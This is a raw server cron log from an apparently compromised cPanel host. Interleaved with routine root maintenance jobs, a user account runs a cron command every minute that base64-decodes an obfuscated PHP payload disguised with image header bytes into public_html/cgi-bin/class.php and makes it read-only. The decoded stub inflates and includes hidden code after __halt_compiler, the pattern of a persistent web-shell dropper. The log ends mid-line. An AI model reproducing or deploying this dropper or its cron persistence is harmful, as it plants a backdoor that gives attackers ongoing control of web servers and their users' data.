Apr  7 02:05:01 server CROND[9310]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:05:01 server CROND[9312]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 02:05:01 server CROND[9313]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 02:06:01 server CROND[9425]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:07:01 server CROND[9474]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:08:01 server CROND[9520]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:09:01 server CROND[9574]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  7 02:09:01 server CROND[9575]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:10:01 server CROND[9636]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 02:10:01 server CROND[9637]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 02:10:01 server CROND[9638]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 02:10:01 server CROND[9640]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:11:01 server CROND[9832]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:12:01 server CROND[9934]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 02:12:01 server CROND[9935]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:13:01 server CROND[9996]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:14:01 server CROND[10054]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:15:01 server CROND[10125]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 02:15:01 server CROND[10126]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr  7 02:15:01 server CROND[10127]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:15:01 server CROND[10128]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 02:16:01 server CROND[10336]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:17:01 server CROND[10385]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 02:18:01 server CROND[10497]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk